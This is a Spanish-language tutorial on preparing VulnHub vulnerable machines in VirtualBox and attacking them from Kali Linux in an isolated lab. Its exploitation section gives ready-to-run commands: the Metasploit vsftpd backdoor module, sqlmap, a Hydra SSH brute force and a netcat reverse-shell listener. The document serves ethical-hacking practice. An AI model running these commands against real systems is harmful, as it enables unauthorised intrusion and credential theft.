

Guía de Preparación y Escaneo de Máquinas Vulnerables en VirtualBox usando Kali Linux

Para realizar prácticas de hacking ético, es esencial trabajar sobre entornos controlados y diseñados específicamente para ser vulnerables. Uno de los mejores repositorios de este tipo de máquinas es **VulnHub**, una plataforma gratuita que ofrece sistemas operativos en formato de máquinas virtuales que pueden ejecutarse en software como **VirtualBox**. A continuación, se describe el proceso completo para descargar, configurar y comenzar a trabajar sobre una máquina vulnerable.

Descarga de la máquina desde VulnHub

Primero, accede a <https://www.vulnhub.com>. En esta plataforma puedes encontrar muchas máquinas diseñadas para pruebas de penetración. Algunas recomendadas para empezar son:

- Mr. Robot: 1
- Metasploitable2
- Basic Pentesting 1

Haz clic en la máquina que quieras utilizar y descarga el archivo **.zip** o **.ova**. Si es un **.zip**, deberás descomprimirlo. Asegúrate de que contenga archivos como **.vmdk** y **.vbox** o **.ovf**, necesarios para ser importados en VirtualBox.

Importación en VirtualBox

1. Abre **VirtualBox** y selecciona **Archivo > Importar servicio virtualizado** si descargaste un **.ova**.
2. Si descargaste una carpeta con **.vmdk** y **.ovf**, puedes importar la máquina desde **Archivo > Importar servicio virtualizado**, seleccionando el archivo **.ovf**.
3. Si solo tienes un **.vmdk**, crea una nueva máquina virtual manualmente, seleccionando el sistema operativo correcto (usualmente Linux - Debian o Ubuntu), y al momento de crear el disco duro virtual, elige la opción "usar un archivo de disco duro virtual existente" y selecciona el **.vmdk**.

Configuración de red en modo "Solo Anfitrión"

Para que Kali Linux y la máquina vulnerable se comuniquen directamente:

1. En VirtualBox, selecciona cada máquina (tanto Kali como la vulnerable), haz clic en **Configuración > Red**.
2. En el **Adaptador 1**, selecciona **Conectado a: Red solo-anfitrión**.
3. Si no tienes una red solo-anfitrión, créala desde **Archivo > Preferencias > Red** en la sección "Redes solo-anfitrión".

Esta red aísla las máquinas del resto de tu red doméstica, permitiendo una práctica segura.

Verificación de conectividad

1. Inicia ambas máquinas: Kali Linux y la vulnerable.
2. En Kali Linux, abre una terminal y ejecuta:

`ip a`

Busca la IP de tu interfaz `vboxnet` o similar (ej: `192.168.56.101`).

3. Luego, identifica la IP de la máquina vulnerable. Puedes hacerlo directamente desde su consola si lo permite, o usando un escaneo de red.

`netdiscover -r 192.168.56.0/24`

Este comando buscará dispositivos activos en el rango de red de la red solo-anfitrión.

4. Cuando encuentres la IP de la máquina objetivo, verifica la conexión:

`ping <IP_objetivo>`

Debe responder correctamente, confirmando que hay comunicación.

Escaneo de puertos y servicios con Nmap

Con la IP de la máquina vulnerable ya identificada, ejecuta un escaneo con **Nmap**, una de las herramientas más poderosas para reconocimiento:

```
nmap -sS -sV -O <IP_objetivo>
```

Este comando hace lo siguiente:

- **-sS**: realiza un escaneo SYN (sigiloso).
- **-sV**: detecta versiones de servicios.
- **-O**: intenta identificar el sistema operativo.

Analiza el resultado y anota los puertos abiertos, el nombre de los servicios (por ejemplo, Apache, SSH, MySQL) y las versiones detectadas.

Análisis de vulnerabilidades

Con los servicios identificados, busca vulnerabilidades conocidas usando:

- <https://cvedetails.com>
- <https://exploit-db.com>
- O simplemente buscando en Google: "**apache 2.4.29 CVE**" o "**vsftpd 2.3.4 exploit**"

Identifica el CVE (Common Vulnerabilities and Exposures) relacionado con la versión exacta del servicio encontrado.

Ejecución de explotación básica

Dependiendo de la vulnerabilidad identificada, puedes usar distintas herramientas:

- **Metasploit Framework** (para exploits conocidos):

```
msfconsole
```

Dentro de Metasploit:

```
search vsftpd
```

```
use exploit/unix/ftp/vsftpd_234_backdoor
```

```
set RHOST <IP_objetivo>
```

```
exploit
```

- **Sqlmap** (para vulnerabilidades SQLi):

```
sqlmap -u "http://<IP_objetivo>/vulnerable.php?id=1" --dbs
```

- **Hydra** (para fuerza bruta de credenciales):

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://<IP_objetivo>
```

- **Netcat** (para crear conexión inversa o acceso remoto):

```
nc -lvnp 4444
```

Esto escucha una conexión entrante en el puerto 4444, esperando un shell.